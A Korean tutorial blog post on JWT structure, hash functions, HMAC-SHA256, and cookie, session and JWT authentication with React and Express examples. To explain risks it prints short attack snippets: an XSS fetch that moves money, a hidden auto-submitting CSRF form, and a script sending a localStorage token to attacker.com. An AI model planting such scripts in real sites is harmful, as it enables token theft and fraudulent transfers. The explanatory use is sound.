JWT로 알아보는 해시 함수(Hash Function)
33 min read
웹 애플리케이션을 개발하며 인증 관련 로직을 등장할 때 항상 JSON Web Token(JWT)이 등장합니다. 이번 포스트에는 JWT의 구조와 동작 원리에 대해 살펴보고 이를 기반으로 해시 함수에 대한 내용을 함께 살펴보겠습니다.
JWT란?
JWT는 정보를 안전하게 암호화한 JSON 형식의 토큰입니다. 가장 쉬운 예시로 유저의 아이디 값을 전송할 때 JWT를 통해 암호화하여 전송할 수 있습니다. 여기서 JWT는 어떻게 "안전하게 암호화"하는 걸까요? 이를 이해하기에 앞서 JWT의 구조를 먼저 살펴보겠습니다.
일반적으로 사용하는 JWT의 경우 JWS(JSON Web Signature) 방식입니다. 누구나 클레임(key-value 형식의 한쌍의 정보)을 읽을 수 있는 JWS 방식과는 달리 JWE(JSON Web Encryption) 방식은 요청 자체를 암호화하여 복호화 알고리즘을 알고 있는 사용자만 클레임을 읽을 수 있습니다. :
JWT의 구조
JWT는 마침표(.)를 기준으로 세 개의 부분으로 나뉘어져 있습니다. 각각 헤더(Header), 페이로드(Payload), 서명(Signature)가 이에 해당하며 각각의 부분은 Base64Url 인코딩을 통해 인코딩된 값입니다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. // 헤더
eyJzdWIiOiIxMjM0NTY3ODkwIiwiaWQiOiJ0ZXN0aWQxMjM0IiwiaWF0IjoxNTE2MjM5MDIyfQ. // 페이로드
YGTi_keVuCpLwmHn7P2cj-5CaVL12kqYkgRFyvG1024 // 서명
먼저 헤더(Header) 의 경우 페이로드를 암호화하는데 사용한 알고리즘과 토큰의 타입(JWS, JWE 등)을 정의합니다. 이때 알고리즘의 경우 별도의 지정을 하지 않으면 해시 알고리즘 기반인 HMAC SHA256을 사용합니다. JWT 암호화 알고리즘에 대한 더 자세한 내용은 뒤에서 다시 다루도록 하겠습니다.
{
"alg": "HS256",
"typ": "JWT"
}
다음은 페이로드(Payload) 입니다. 페이로드는 클레임(Claim)에 해당하며 실제 데이터를 포함하고 있습니다. 페이로드는 원하는 키-값 쌍으로 자유롭게 데이터를 구성할 수 있지만 JWT 표준 규격인 RFC 7519에 따라 정의된 값을 기준으로 살펴보겠습니다.
{
"iss": "https://auth.example.com",
"sub": "user123456",
"aud": "https://api.example.com",
"exp": 1680566400,
"nbf": 1680480000,
"iat": 1680480000,
"jti": "a-123-456-789",
"name": "홍길동",
"email": "hong@example.com",
"role": ["admin", "user"]
}
iss
: 토큰을 발급한 주체(Issuer)sub
: 토큰의 주제(Subject)aud
: 토큰이 의도하는 수신자(Audience)exp
: 토큰 만료 시간(Expiration Time)nbf
: 이 시간 이전에는 토큰이 유효하지 않음(Not Before)iat
: 토큰 발급 시간(Issued At)jti
: 토큰의 고유 식별자(JWT ID)
마지막으로 서명(Signature) 입니다. 서명은 헤더와 페이로드를 조합하고 서버에서 가지고 있는 비밀 키(Secret Key)를 사용하여 암호화한 값입니다.
signature = HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
헤더와 페이로드는 단순히 인코딩된 값이기 때문에 앞서 언급한 JWS 방식의 경우 누구나 데이터를 복호화하거나 조작할 수 있으며 비밀 키를 통한 서명을 통해 토큰이 유효한지에 대한 검증을 할 수 있습니다. 구체적으로 어떻게 검증을 하는지와 비밀 키를 이용해 서명을 생성하는 과정을 살펴보겠습니다.
해시 함수(Hash Function)
JWT 토큰 생성 시 기본값으로 지정되는 HS256 알고리즘은 해시 함수 알고리즘에 해당합니다. 해시 함수는 임의의 길이를 가진 데이터를 고정 길이의 해시 값으로 변환해주는 함수입니다. 즉 우리가 얼마나 작은 값 혹은 큰 값을 넣든 항상 고정된 길이의 값을 반환해주는 일종의 압축 함수와도 같습니다.
벨브를 고정한 수도꼭지를 상상해보겠습니다. 아무리 많은 양의 물을 투입하더라도 벨브가 고정된 수도꼭지의 경우 일정한 양의 물을 반환합니다.

해시 함수의 특징
해시 함수는 항상 다음과 같은 두 가지의 성질을 만족해야합니다.
- 단방향성(the one-way property)
- 충돌 회피(the collision-free property)
단방향성
단방향성의 경우 해시 함수에 input을 넣어 output을 얻는 것은 가능하지만 반대로 output에 대해 역상(입력 값)을 얻는 것은 불가능하다는 것을 의미합니다. 해시 함수 H에 대해 가변 길이의 데이터 M이 존재하고 이에 대한 해시 값을 h라고 가정해보겠습니다. 위와 같은 관계가 성립할 때 결과 값인 h를 통해서 M을 구하는 것은 불가능합니다.
충돌회피
충돌 회피의 경우 해시 함수에 대해 해시 충돌(hash collision)이 발생하는 상황을 최소화해야한다는 것을 의미합니다. 해시 충돌이란 동일한 해시 값을 가지는 서로 다른 두개의 입력 값이 존재하는 상황을 의미합니다.
예를 들어 정말 간단한 아래와 같은 해시 함수를 가정해보겠습니다.
아래 simpleHash
는 가변 길이의 데이터가 주어졌을 때 고정된 한 자리 수(0~9)를 반환하는 해시 함수입니다.
function simpleHash(text) {
let total = 0;
// 각 문자의 ASCII 값을 더함
for (let i = 0; i < text.length; i++) {
total += text.charCodeAt(i);
}
// 10으로 나눈 나머지를 해시 값으로 반환
return total % 10;
}
입력값으로 서로 다른 문자열인 abc와 bca를 넣어보겠습니다.
const hash1 = simpleHash("abc");
const hash2 = simpleHash("bca");
기대하는 상황은 서로 다른 값에 대해 서로 다른 결과 값이 나오는 것입니다. 이때 abc는 [97, 98, 99]의 ASCII 값을 가지고 bca는 [98, 99, 97]의 ASCII 값을 가지게 되며 두 값 모두 4로 동일한 값을 반환합니다. 즉 서로 다른 입력 값에 동일한 결과 값이 나오는 해시 충돌이 발생한 것입니다.
고정 길이가 제한된 해시 함수의 특성 상 충돌을 완전히 제거할 수는 없습니다. 그럼에도 해시 테이블 크기를 증가시키거나 알고리즘을 변겅함으로써 충돌 확률을 낮출 수 있으며 체이닝(chaining) 기법 등을 통해 해시 충돌을 해결할 수 있습니다.
해시 충돌을 쉽게 이해하기 위해 101 마리의 비둘기, 100개의 비둘기 집이 존재하며 각 비둘기집에는 한 마리의 비둘기만 들어간다고 가정해보겠습니다. 이런 경우 필연적으로 어느 집에도 들어가지못한 비둘기가 발생하게 됩니다.

이처럼 데이터의 집합이 해시값의 집합보다 크다면 서로 다른 입력이 같은 해시값을 가지는 해시 충돌이 발생하게 되며 이를 비둘기집의 원리라고 합니다.
HS256
JWT에서 기본 값으로 사용하는 해시 함수인 HS256에 대해 살펴보겠습니다. HS256은 HMAC-SHA256 알고리즘을 사용하며 이는 이름에서 유추할 수 있듯이 HMAC(Hash-based Message Authentication Code)과 SHA256(Secure Hash Algorithm 256-bit) 알고리즘을 조합한 것입니다.
HMAC
MAC(Message Authentication Code)은 메시지에 대한 위변 방지(Masquerade)와 무결성(Integrity)을 보장하기 위한 인증 코드입니다. MAC 함수를 구현하는 방식은 크게 Block Cipher를 기반으로 한 CMAC와 Hash Function을 기반으로 한 HMAC으로 나뉘어지며 여기서는 HMAC만 다루도록 하겠습니다.
해시 함수에 대해 깊게 살펴보지 않으면 HMAC은 생소한 개념일 수 있습니다. 그러나 의외로 HMAC은 매우 고마운 존재입니다. 바로 네트워크 계층에서 인터넷 프로토콜(IP)의 보안을 강화하기 위한 프로토콜 스위트(Protocol Suite)인 IPsec에서 사용되고 있기 때문입니다.
전송(Transport) 계층에선 TLS(Transport Layer Security) 프로토콜을 사용하여 클라이언트와 서버간 인증과 무결성 등을 보장합니다. IPSect은 네트워크(Network) 계층에서 IP 주소가 중간에 변경되지 않도록 무결성을 보장하며 패킷을 암호화하여 기밀성을 보장하는 역할을 합니다.
SHA256
SHA(Secure Hash Algorithm)은 미국 국립표준기술연구소(NIST)에서 개발한 해시 함수 알고리즘입니다. SHA 계열의 해시 함수는 SHA-0, SHA-1, SHA-2, SHA-3로 나뉘어져 있으며 그 중 SHA-2는 다시 SHA-224, SHA-256, SHA-384, SHA-512로 나뉘어집니다.
SHA256에서 256은 무엇을 의미할까요? 앞서 해시 함수는 고정 길이의 해시 값을 반환한다고 했으며 일반적으로 반환하는 길이가 늘어날 수록 해시 성능이 향상됩니다. 이처럼 해시 함수에 있어 반환 길이 값은 중요한 요소이며 여기서 256은 256비트(32바이트)의 해시 값을 반환한다는 것을 의미합니다. (이러한 규칙에 따라 SHA384는 384비트, SHA512는 512비트를 반환합니다)
해시 함수 공격
본론으로 돌아와서 JWT의 서명(Signature) 부분이 어떻게 데이터의 무결성을 보장하는지 살펴보겠습니다. 아래 그림은 밥(Bob)이 엘리스(Alice)에게 완성된 발표과제를 전송하는 상황을 가정해보겠습니다.

밥은 데이터의 무결성을 검증하기 위해 과제를 해시화한 값과 함께 전송합니다. 엘리스는 전송 받은 과제를 해시화하여 두 값이 서로 일치하는 지를 통해 무결성을 검증합니다.
하지만 위의 경우 이상적인 시나리오는 아닙니다. 중간에 도운(Dowoon)이라는 친구가 발표를 망치기 위해 과제를 변조했다고 가정해보겠습니다.

도운은 과제를 중간에 탈취하여 발표 과제를 뒤죽박죽 바꿔놓고 '이상한 발표 과제'를 엘리스에게 전송합니다. 이때 도운은 엘리스에게 '이상한 발표 과제'를 해시화하여 함께 전송합니다. 엘리스는 '이상한 발표 과제'값을 해시화하였을 때 전달받은 해시 값과 비교하기 때문에 데이터가 무결한지 검증할 수 없습니다.
이러한 상황을 방지하고자 데이터에 엘리스와 밥만 알고있는 비밀 키를 추가하여 해시화합니다.

도운은 비밀키인 fooldowoon
을 알지 못하기에 데이터를 '이상한 발표 과제'로 변조하고 해시화하더라도 밥이 전송받은 데이터와 시크릿 키를 조합하여 해시화함으로써 변조된 것을 알아챌 수 있습니다.
JWT의 서명(Signature)
JWT에서 서명을 검증하는 원리는 위와 거의 유사합니다. 그러나 엘리스와 밥 모두 서명 검증을 위해 비밀 키를 공유하는 상황과 달리 JWT의 경우 서명 생성에 사용된 비밀 키는 서버에서만 가지고 있습니다. 따라서 클라이언트는 서버에서 발급한 JWT를 통해 서버에 요청을 보내고 서버는 비밀 키를 통해 서명을 검증하여 유효성을 판단합니다.
JWT를 사용하는 이유
JWT에 대한 개념와 어떤 식으로 암호화하는지에 대해 먼저 살펴보았습니다. 그럼에도 Cookie 혹은 세션과 같은 비교적 간단한 방식이 존재하는데요. 이러한 방식을 두고 JWT가 널리 사용되는 이유를 살펴보겠습니다.
Cookie
쿠키(Cookie)는 웹 서버가 사용자의 브라우저에 저장하는 작은 데이터 조각입니다. 이러한 쿠키는 사용자가 웹 사이트를 방문할 때마다 서버로 다시 전송되며 고유 정보로 식별이 가능합니다. 쿠키를 기반으로 인증하게 될 경우 인증 흐름은 크게 아래와 같습니다.
쿠키의 가장 큰 한계점은 보안이 매우 취약하다는 것입니다. 기본적으로 웹 스토리지를 통해 값을 확인할 수 있으며 XSS를 통해 자바스크립트를 이용하여 쿠키를 탈취할 수 있습니다. HttpOnly 속성을 부여하여 자바스크립트로 쿠키를 읽을 수 없도록 방지할 순 있지만 해당 쿠키를 통해 인증된 상태를 악용할 수 있습니다.
예를 들어 아래와 같이 송금하는 요청에 대한 자바스크립트 코드를 XSS로 주입한다고 가정해보겠습니다. 쿠키가 HttpOnly 속성인 경우 쿠키 값 자체는 탈취할 수 없지만 하단 요청이 실행되면서 자동으로 HttpOnly 쿠키를 포함하게 됩니다. 서버는 유효한 인증 쿠키가 있으므로 요청을 승인하는 상황이 발생합니다.
fetch('/api/transfer-money', {
method: 'POST',
body: JSON.stringify({
to: 'hacker-account',
amount: 1000
}),
headers: {
'Content-Type': 'application/json'
}
});
Session
쿠키의 한계를 보완하기 위해 등장한 세션(Session)은 서버가 클라이언트를 식별하고 상태를 추척하기 위해 서버 측에 저장하는 데이터 구조입니다. 이러한 세션 데이터는 서버의 메모리, 데이터베이스, 캐시 시스템(Redis 등)에 저장되며 클라이언트는 민감 정보를 더 이상 가지고 있지 않아도 됩니다.
세션을 기반으로 인증하게 될 경우 인증 흐름은 다음과 같습니다.
세션은 일정 시간 동안만 유효하게 설정이 가능하며 의심스러운 활동이 감지되었을 때 서버 측에서 세션을 즉시 무효화할 수 있습니다. 또한 세션 쿠키를 탈취했다하더라도 세션 ID만 포함하므로 공격자가 직접적인 사용자 정보를 획득하는 것이 불가능합니다.
세션은 서버 측에서 상태를 유지하는 방식(Stateful)이기 때문에 활성 사용자가 많을 경우 세션 저장소의 부하가 증가하게 됩니다. 또한 구조적으로 여러 서버로 확장되어있거나 로드 밸런싱을 사용하는 경우 세션을 공유하기 위한 추가적인 작업이 필요합니다.
또한 사용자의 의도와는 무관하게 악의적인 요청을 보내도록하는 CSRF(Cross-Site Request Forgery) 공격에 취약합니다. 예를 들어 사용자가 은행 사이트에 로그인하여 세션 쿠키를 발급받은 뒤 다른 탭을 열어 악성 웹사이트에 방문했다고 가정해보겠습니다.
<form id="hack-form" action="https://bank.com/transfer" method="POST" style="display:none">
<input type="hidden" name="to" value="hacker-account">
<input type="hidden" name="amount" value="100000">
</form>
<script>
document.getElementById('hack-form').submit();
</script>
이때 악성 웹사이트는 사용자의 세션 쿠키를 가지고 있기 때문에 은행 사이트에 요청을 보내는 것이 가능합니다. 따라서 이러한 CSRF 공격을 방지하기 위해 CSRF 토큰을 사용하는 등 추가적인 보안 조취가 필요합니다.
JWT
JWT 인증 방식은 토큰을 기반으로 한 인증 방식으로 세션과 달리 서버에 상태를 저장하지 않습니다. 앞서 설명한대로 서버만 소유하고 있는 비밀 키와 함께 JWT를 발급하며 토큰은 웹 스토리지, 쿠키 등 클라이언트 측에서 보관합니다. JWT 기반 인증 흐름은 다음과 같습니다.
JWT는 토큰을 요청 헤더에 포함하여 전송하면 되기 때문에 쿠키 사용이 제한적인 모바일 환경에서 용이합니다. JWT는 Bearer 토큰 인증 스킴을 사용하여 요청을 보낼 때 아래와 같이 헤더를 전송합니다.
fetch('api/data', {
headers: {
'Authorization': 'Bearer ' + token
}
});
뿐만 아니라 JWT는 위에서 설명한대로 서버의 비밀 키를 통해 서명된 토큰이기 때문에 토큰을 탈취하여 변조하더라도 서버 측에서 토큰의 무결성을 검증할 수 있습니다. 다만 토큰이 탈취된 경우에는 서버 측에서 토큰을 무효화할 수 있는 방법이 없기 때문에 토큰의 유효 기간을 짧게 설정하여 Refresh Token을 사용하는 등의 방법을 통해 보완이 필요합니다.
JWT 기반 인증 로직 구현하기
클라이언트와 서버 간 JWT를 기반으로 인증 하는 로직의 흐름을 이해하기 위해 React와 Express를 사용하여 간단한 예제를 구현해보겠습니다. 쿠키와 같이 자동으로 전송되는 메커니즘이 아닌 명시적으로 헤더에 포함해주어야하기 때문에 CSRF 공격으로부터 안전합니다.
// 악성 사이트(evil.com)에서 시도하는 코드
fetch('https://bank.com/api/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + localStorage.getItem('jwt') // 실패!
},
body: JSON.stringify({ to: 'hacker', amount: 1000 })
});
위와 같이 요청을 보내더라도 반드시 Authorization 헤더를 포함해야하며 Same-Origin 정책에 따라 다른 출처의 자바스크립트가 웹 스토리지에 접근하는 것을 차단합니다.
로그인 요청하기
인증과 관련하여 클라이언트는 크게 1)로그인, 2)유저 인증, 3)로그아웃의 세 가지 액션을 취할 수 있습니다.
Redux Toolkit의 createSlice
를 사용하여 이러한 액션을 기반으로 한 유저 슬라이스를 생성해보겠습니다.
(이때 로그인, 로그아웃 등 Redux-Thunk를 이용하여 비동기 처리된 액션을 처리하기 위해 extraReducers
를 사용합니다)
const userSlice = createSlice({
name: 'user',
initialState,
extraReducers: (builder) => {
builder
.addCase(loginUser.pending, (state) => { ... })
.addCase(loginUser.fulfilled, (state) => { ... })
.addCase(loginUser.rejected, (state) => { ... })
.addCase(authUser.pending, (state) => { ... })
.addCase(authUser.fulfilled, (state) => { ... })
.addCase(authUser.rejected, (state) => { ... })
.addCase(logoutUser.pending, (state) => { ... })
.addCase(logoutUser.fulfilled, (state) => { ... })
.addCase(logoutUser.rejected, (state) => { ... })
}
});
loginUser
: 유저가 로그인 시도 시 호출되는 액션authUser
: 유저가 인증을 시도 시 호출되는 액션logoutUser
: 유저가 로그아웃 시도 시 호출되는 액션
각각의 액션은 createAsyncThunk
를 통해 손쉽게 비동기 처리를 할 수 있습니다.
export const loginUser = createAsyncThunk(
'user/loginUser',
async (body, thunkAPI) => {
try {
const response = await axiosInstance.post(`/user/login`, body);
return response.data;
} catch (error) {
return thunkAPI.rejectWithValue(error.response?.data?.message);
}
}
);
export const authUser = createAsyncThunk(...);
export const logoutUser = createAsyncThunk(...);
JWT 발급하기
유저의 로그인 정보와 함께 loginUser
요청을 보내고 서버는 유저 정보를 조회하여 일치하는 유저가 있는 지 확인합니다.
일치하는 유저가 있는 경우 해당 유저의 정보와 함께 JWT 토큰을 발행합니다.
이때 시그니쳐 생성을 위한 비밀 키의 경우 서버 측의 환경 변수(.env)에서 관리되고 있는 것을 확인할 수 있습니다.
여기서는 유저의 아이디 정보를 포함하고 있으며 토큰은 12시간 뒤 만료됩니다.
const loginUser = async (req, res, next) => {
...
// JWT 토큰 생성
const accessToken = jwt.sign({ uid: user.uid }, process.env.JWT_SECRET, {
expiresIn: "12h",
});
};
토큰 저장하기
서버로부터 전달 받은 토큰은 클라이언트 측에서 보관하게 됩니다. 이때 클라이언트는 로컬 스토리지, 세션 스토리지, 쿠키 등 다양한 방법으로 토큰을 저장할 수 있습니다.
로컬 스토리지(Local Storage)
먼저 로컬 스토리지에 저장하는 방법입니다. 가장 직관적인 방법이며 브라우저를 닫아도 데이터가 유지됩니다.
.addCase(loginGoogleUser.fulfilled, (state: UserState, action) => {
state.isLoading = false;
state.user = action.payload;
state.isAuth = true;
localStorage.setItem('accessToken', action.payload.accessToken);
})
로컬 스토리지에 경우 기본적으로 XSS(Cross-Site Scripting) 공격에 취약합니다. 아래와 같이 공격자에게 토큰을 전송하는 스크립트가 주입될 경우 토큰이 탈취될 수 있습니다.
<script>
const token = localStorage.getItem('accessToken');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ stolen_token: token })
});
</script>
세션 스토리지(Session Storage)
세션 스토리지 또한 로컬 스토리지와 유사하지만 브라우저를 닫으면 데이터가 삭제됩니다. 따라서 탭을 닫으면 로그인 상태가 손실된다는 불편함이 존재합니다. 또한 로컬 스토리지와 마찬가지로 XSS 공격에 취약합니다.
.addCase(loginGoogleUser.fulfilled, (state: UserState, action) => {
state.isLoading = false;
state.user = action.payload;
state.isAuth = true;
sessionStorage.setItem('accessToken', action.payload.accessToken);
})
쿠키
쿠키는 서버 측에서 Set-Cookie
를 통해 클라이언트로 전송하여 자동 저장하는 방식입니다.
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000,
path: '/'
});
앞서 설명한대로 쿠키는 HttpOnly 속성을 부여하여 자바스크립트에서 접근할 수 없도록 설정할 수 있습니다.
이때 secure
속성을 부여하면 HTTPS 프로토콜을 통해서만 쿠키가 전송되며 sameSite
속성을 부여하면 동일한 사이트에서만 쿠키 전송을 제한할 수 있습니다.
또한 maxAge
속성을 통해 만료 기간을 명시적으로 설정하는 등 다양한 옵션을 설정할 수 있습니다.
세 개의 방식 중 어떤 방식이 우위에 있거나 정답이 존재하진 않습니다. 보안과 편의성 사이에 Trade Off가 존재하기 때문에 서비스 도메인 특성에 따라 적절히 조합하여 사용할 수 있습니다.
예시로 은행,증권 등과 같이 보안이 매우 중요한 서비스의 경우 보안에 매우 민감하게 대응할 수 있도록 설계해야합니다. 토스 증권의 경우 로그인을 유지하더라도 다른 네트워크 환경에서 접속할 경우 해당 세션이 만료됩니다.

유저 인증하기
로그인 후 발급받은 JWT를 통해 유저를 인증할 수 있습니다. 해당 토큰을 헤더에 포함하여 요청하고 Express 미들웨어를 통해 인증을 처리합니다. 클라이언트 측에선 페이지가 변경될 때마다 인증을 통해 라우트 가드를 구현할 수 있습니다.
useEffect(() => {
if (isAuth) {
dispatch(authUser());
}
}, [isAuth, pathname, dispatch]);
댓글 1개
오소현
2025년 04월 09일
답글 0개